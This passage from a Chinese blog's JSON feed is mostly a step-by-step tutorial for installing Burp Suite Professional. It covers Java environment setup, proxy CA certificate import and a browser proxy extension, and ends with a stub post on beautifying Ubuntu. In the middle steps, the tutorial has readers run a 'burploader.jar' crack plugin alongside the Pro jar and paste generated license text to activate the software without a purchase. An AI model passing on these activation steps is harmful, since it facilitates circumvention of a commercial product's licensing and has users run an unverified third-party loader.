1024w\"></figure>\n<h6>依次选择下面图片中的选项</h6>\n<p><code>*注意</code>：这里的变量名，建议固定为<strong> <code>JAVA_HOME</code></strong>（不是必须，但强烈推荐，可以为后续省去很多不必要的麻烦）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/javaBian-Liang-Pei-Zhi.png\" alt=\"\" width=\"2880\" height=\"1704\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/javaBian-Liang-Pei-Zhi-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/javaBian-Liang-Pei-Zhi-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/javaBian-Liang-Pei-Zhi-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/javaBian-Liang-Pei-Zhi-xl.webp 1024w\"></figure>\n<p>最后全部选择“确定”选项</p>\n<h5>步骤五：配置用户环境变量</h5>\n<h6>按照如下步骤来就行，不要跳步（如果你前面的名称和我一样，那就按照我图片的步骤来即可）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Huan-Jing-Bian-Liang-2.png\" alt=\"\" width=\"2879\" height=\"1703\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Huan-Jing-Bian-Liang-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Huan-Jing-Bian-Liang-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Huan-Jing-Bian-Liang-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Huan-Jing-Bian-Liang-2-xl.webp 1024w\"></figure>\n<h6>将这个环境变量移动至顶部</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/javaWei-Zhi.png\" alt=\"\" width=\"2879\" height=\"1707\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/javaWei-Zhi-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/javaWei-Zhi-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/javaWei-Zhi-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/javaWei-Zhi-xl.webp 1024w\"></figure>\n<h6>不出意外的话，你配置完，在终端中输入，会显示下图的这个界面</h6>\n<pre class=\"language-bash line-numbers\"><code>javac</code></pre>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-195757.png\" alt=\"\" width=\"2350\" height=\"1225\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-195757-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-195757-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-195757-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-195757-xl.webp 1024w\"></figure>\n<p>至此，坏境变量部分即为配置成功</p>\n<h5>步骤七：开始安装Burp suite</h5>\n<h6>确认下载的这个ini文件数据是否都为0，如果不是，请手动都改成0</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-16-232019.png\" alt=\"\" width=\"578\" height=\"263\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232019-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232019-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232019-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232019-xl.webp 1024w\"></figure>\n<h6>在此文件夹中，打开CMD窗口（<code>*注意</code>：后续的激活中，这个CMD命令窗口不要关闭！）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Lu-Jing.png\" alt=\"\" width=\"2226\" height=\"670\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Lu-Jing-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Lu-Jing-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Lu-Jing-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Lu-Jing-xl.webp 1024w\"></figure>\n<h6>在打开的这个CMD窗口中输入以下命令，回车，会打开一个burp suite破解插件的窗口</h6>\n<pre class=\"language-bash line-numbers\"><code>java -jar burploader.jar</code></pre>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-16-232542-2.png\" alt=\"\" width=\"1047\" height=\"209\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232542-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232542-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232542-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-232542-2-xl.webp 1024w\"></figure>\n<h6>勾选第二个，并点击“RUN”</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Po-Jie-1.png\" alt=\"\" width=\"1566\" height=\"977\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Po-Jie-1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Po-Jie-1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Po-Jie-1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Po-Jie-1-xl.webp 1024w\"></figure>\n<h6>如果不出意外，你会自动打开burp suit的界面（如下图所示）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-200735.png\" alt=\"\" width=\"996\" height=\"861\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-200735-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-200735-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-200735-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-200735-xl.webp 1024w\"></figure>\n<p>如果你要是打不开这个窗口，那么就再次在这个文件夹中打开一个新的CMD窗口（<code>*注意</code>：之前打开的CMD窗口不要关掉！）</p>\n<h6>输入以下命令，使用终端打开软件</h6>\n<pre class=\"language-batch line-numbers\"><code>java -jar burpsuite_pro_v2025.9.5.jar</code></pre>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-16-233322.png\" alt=\"\" width=\"1189\" height=\"214\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233322-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233322-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233322-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233322-xl.webp 1024w\"></figure>\n<p>使用CMD命令，也是同样的效果，需要确保两个软件都打开（一个破解的插件，另一个是burp suite软件本体）再进行下一步的操作</p>\n<h6>将左侧的文本复制，粘贴到右侧，随后点击<code>NEXT</code></h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-16-233958.png\" alt=\"\" width=\"2618\" height=\"1048\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233958-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233958-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233958-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-16-233958-xl.webp 1024w\"></figure>\n<h6>接下来的步骤中，选择“手动激活”选项</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ji-Huo-2.png\" alt=\"\" width=\"883\" height=\"797\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ji-Huo-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ji-Huo-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ji-Huo-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ji-Huo-2-xl.webp 1024w\"></figure>\n<h6>继续按照以下步骤操作</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/then.png\" alt=\"\" width=\"2879\" height=\"1701\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/then-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/then-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/then-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/then-xl.webp 1024w\"></figure>\n<h6>粘贴完成之后，再次点击<code>NEXT</code>，即可看到激活成功（如下图所示）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-211046.png\" alt=\"\" width=\"996\" height=\"861\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-211046-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-211046-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-211046-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-211046-xl.webp 1024w\"></figure>\n<p>最后点击<code>Finish</code>结束安装即可</p>\n<h6>关掉这个窗口之前，请把第一个勾打上（两个都打开也没事）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Xuan-Xiang-1.png\" alt=\"\" width=\"1562\" height=\"981\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Xuan-Xiang-1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Xuan-Xiang-1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Xuan-Xiang-1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Xuan-Xiang-1-xl.webp 1024w\"></figure>\n<h5>步骤八：后续的准备</h5>\n<h6>可以创建一个快捷方式来打开这个软件</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Hou-Xu.png\" alt=\"\" width=\"1426\" height=\"867\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Hou-Xu-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Hou-Xu-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Hou-Xu-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Hou-Xu-xl.webp 1024w\"></figure>\n<p>或者你也可以写一个脚本，来运行这个软件，效果都一样</p>\n<h5>步骤九：下载证书</h5>\n<p>按照下图的步骤配置即可</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/proxyzdal.png\" alt=\"\" width=\"2879\" height=\"1706\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/proxyzdal-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/proxyzdal-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/proxyzdal-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/proxyzdal-xl.webp 1024w\"></figure>\n<p>选择下图的框选区域</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/select1.png\" alt=\"\" width=\"996\" height=\"861\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/select1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/select1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/select1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/select1-xl.webp 1024w\"></figure>\n<p>命名要求必须为<code>.der</code>结尾</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/selext.png\" alt=\"\" width=\"1578\" height=\"1189\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/selext-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/selext-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/selext-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/selext-xl.webp 1024w\"></figure>\n<p>点击保存即可（下图是我的路径，可供参考）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-212640.png\" alt=\"\" width=\"996\" height=\"861\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212640-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212640-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212640-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212640-xl.webp 1024w\"></figure>\n<h5>步骤十：配置证书</h5>\n<h6>打开浏览器，搜索<code>证书</code>（这里我以最普遍的Edge浏览器来示范，其他的浏览器也是同理）</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-212903.png\" alt=\"\" width=\"2879\" height=\"1618\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212903-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212903-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212903-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-212903-xl.webp 1024w\"></figure>\n<h6>打开这个依次打开如下的选项</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Zheng-Shu-1.png\" alt=\"\" width=\"2879\" height=\"1614\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-1-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-1-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-1-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-1-xl.webp 1024w\"></figure>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Zheng-Shu-2.png\" alt=\"\" width=\"2879\" height=\"1619\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-2-xl.webp 1024w\"></figure>\n<h6>选自刚刚保存的证书路径，找到证书</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Zheng-Shu-3.png\" alt=\"\" width=\"2850\" height=\"1622\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-3-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-3-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-3-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Zheng-Shu-3-xl.webp 1024w\"></figure>\n<p>中间证书配置也是如此（和上面的步骤一致，我就不再演示了）</p>\n<h6>配置好后如下图所示</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-03-11-214139.png\" alt=\"\" width=\"2879\" height=\"1626\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-214139-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-214139-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-214139-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-03-11-214139-xl.webp 1024w\"></figure>\n<h5>步骤十一：安装浏览器拓展（强烈建议安装这款管理插件，很方便）</h5>\n<h6>安装浏览器拓展： <code>proxy switchyomega</code></h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Tuo-Zhan.png\" alt=\"\" width=\"2879\" height=\"1615\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Tuo-Zhan-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Tuo-Zhan-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Tuo-Zhan-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Tuo-Zhan-xl.webp 1024w\"></figure>\n<p>点击右上角的“拼图”，打开拓展（可以固定到这里，方便开关）</p>\n<h6>按照下图步骤配置插件</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/omg.png\" alt=\"\" width=\"2879\" height=\"1612\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/omg-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/omg-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/omg-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/omg-xl.webp 1024w\"></figure>\n<h6>继续按照下图，来进行配置</h6>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/omg2.png\" alt=\"\" width=\"2845\" height=\"1523\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/omg2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/omg2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/omg2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/omg2-xl.webp 1024w\"></figure>\n<p>最后选择左下角的“应用选项”，保存即可</p>\n<h5>步骤十二：该插件使用的指南</h5>\n<p><code>*注意</code>：当你选择[burp suite]的时候，浏览器的流量将由burp suite接管，不需要手动去改设置（平时不用的时候，一定要选择[系统代理]，不然会没有网络！）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-17-000625.png\" alt=\"\" width=\"369\" height=\"525\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-17-000625-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-17-000625-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-17-000625-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-17-000625-xl.webp 1024w\"></figure>\n<p class=\"align-center\">那么以上就是整个burp suite安装过程，感谢您能看到这里</p>\n<p class=\"align-center\">你的肯定是我更新最大的动力(≧∀≦)ゞ</p>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "网络工具介绍"
            ],
            "date_published": "2026-03-11T21:35:30+09:00",
            "date_modified": "2026-05-16T23:22:51+09:00"
        },
        {
            "id": "https://old.zeyun.org/beautify_about_ubuntu.html",
            "url": "https://old.zeyun.org/beautify_about_ubuntu.html",
            "title": "美化Ubuntu",
            "summary": "在前一章节，我带领大家配置完基础的安装过程，以及换完国内的源等基础的Ubuntu的设置后，接下来我会带领大家实现如下图的美化效果（如下图所示） 如果没看我前一章节的朋友，可以回头看看：点我直达 别担心，本篇文章我会带着从零开始，一步一步地美化这个系统 所需材料来源于Github的大佬们制作的美化包，所以务必请准备好外网环境，如果没有的话，可以使用国内的镜像站（改成bgithub.xyz即可） 剩余内容还在更新中....",
            "content_html": "<p>在前一章节，我带领大家配置完基础的安装过程，以及换完国内的源等基础的Ubuntu的设置后，接下来我会带领大家实现如下图的美化效果（如下图所示）</p>\n<p>如果没看我前一章节的朋友，可以回头看看：点我直达</p>\n<p>别担心，本篇文章我会带着从零开始，一步一步地美化这个系统</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/42/ubuntumacosmain.png\" alt=\"\" width=\"1920\" height=\"1080\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/42/responsive/ubuntumacosmain-xs.webp 320w ,https://old.zeyun.org/media/posts/42/responsive/ubuntumacosmain-sm.webp 480w ,https://old.zeyun.org/media/posts/42/responsive/ubuntumacosmain-md.webp 768w ,https://old.zeyun.org/media/posts/42/responsive/ubuntumacosmain-xl.webp 1024w\"></figure>\n<p>所需材料来源于Github的大佬们制作的美化包，所以务必请准备好外网环境，如果没有的话，可以使用国内的镜像站（改成bgithub.xyz即可）</p>\n<p class=\"align-center\">剩余内容还在更新中....</p>",
            "author": {
                "name": "云泽"
            },
            "tags": [
                   "Linux学习笔记"
            ],
            "date_published": "2026-03-02T23:01:23+09:00",
            "date_modified": "2026-03-03T01:34:52+09:00"
        }
    ]
}
